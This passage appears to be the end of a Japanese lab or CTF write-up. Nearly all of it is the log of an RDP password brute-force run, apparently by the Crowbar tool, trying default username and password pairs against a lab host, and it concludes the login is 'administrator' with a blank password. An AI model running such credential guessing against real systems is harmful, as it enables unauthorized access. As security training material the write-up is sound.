2022-07-31 19:32:10 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - Admin:Admin
2022-07-31 19:32:10 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - Admin:root
2022-07-31 19:32:10 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - Admin:administrator
2022-07-31 19:32:10 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - Admin:user
2022-07-31 19:32:11 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - Admin:
2022-07-31 19:32:11 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - Admin:pass
2022-07-31 19:32:11 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - Administration:Admin
2022-07-31 19:32:11 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - Admin:
2022-07-31 19:32:12 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - Admin:password
2022-07-31 19:32:13 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - Administration:Administration
2022-07-31 19:32:13 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - Administration:administrator
2022-07-31 19:32:13 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - Administration:user
2022-07-31 19:32:13 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - Administration:root
2022-07-31 19:32:13 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - Administration:
2022-07-31 19:32:14 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - Administration:pass
2022-07-31 19:32:14 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - Administration:password
2022-07-31 19:32:14 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - Administration:
2022-07-31 19:32:18 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - user:Admin
2022-07-31 19:32:18 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - user:Administration
2022-07-31 19:32:18 RDP-SUCCESS : 10.129.1.13:3389 - administrator:
2022-07-31 19:32:19 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - user:administrator
2022-07-31 19:32:19 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - user:user
2022-07-31 19:32:19 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - user:root
2022-07-31 19:32:19 RDP-SUCCESS : 10.129.1.13:3389 - administrator:
2022-07-31 19:32:20 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - user:
2022-07-31 19:32:20 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - user:pass
2022-07-31 19:32:21 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - user:password
2022-07-31 19:32:21 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - user:
2022-07-31 19:32:21 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - root:Admin
2022-07-31 19:32:21 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - root:Administration
2022-07-31 19:32:22 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - root:administrator
2022-07-31 19:32:22 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - root:user
2022-07-31 19:32:22 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - root:root
2022-07-31 19:32:23 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - root:
2022-07-31 19:32:23 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - root:pass
2022-07-31 19:32:24 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - root:password
2022-07-31 19:32:24 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - root:
2022-07-31 19:32:24 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - :Admin
2022-07-31 19:32:24 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - :Administration
2022-07-31 19:32:24 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - :administrator
2022-07-31 19:32:25 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - :user
2022-07-31 19:32:25 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - :root
2022-07-31 19:32:26 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - :
2022-07-31 19:32:26 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - :pass
2022-07-31 19:32:26 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - :password
2022-07-31 19:32:27 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - :
2022-07-31 19:32:27 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - pass:Admin
2022-07-31 19:32:27 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - pass:Administration
2022-07-31 19:32:27 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - pass:administrator
2022-07-31 19:32:28 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - pass:user
2022-07-31 19:32:28 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - pass:root
2022-07-31 19:32:28 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - pass:
2022-07-31 19:32:29 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - pass:pass
2022-07-31 19:32:29 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - pass:password
2022-07-31 19:32:29 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - pass:
2022-07-31 19:32:30 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - password:Admin
2022-07-31 19:32:30 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - password:Administration
2022-07-31 19:32:30 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - password:administrator
2022-07-31 19:32:30 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - password:user
2022-07-31 19:32:31 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - password:root
2022-07-31 19:32:31 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - password:
2022-07-31 19:32:31 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - password:pass
2022-07-31 19:32:32 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - password:password
2022-07-31 19:32:32 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - password:
2022-07-31 19:32:32 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - :Admin
2022-07-31 19:32:33 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - :Administration
2022-07-31 19:32:33 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - :administrator
2022-07-31 19:32:33 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - :user
2022-07-31 19:32:34 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - :root
2022-07-31 19:32:34 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - :
2022-07-31 19:32:34 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - :pass
2022-07-31 19:32:34 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - :password
2022-07-31 19:32:35 RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : 10.129.1.13:3389 - :
2022-07-31 19:32:35 STOPつまり，ユーザー名は「administrator」，パスワードは「」(空白)ということが無事判明しました．
参考サイト
- *1：Remote Desktop (RDP)- Brute Force Attack
- *2：Crowbar - Brute forcing tool
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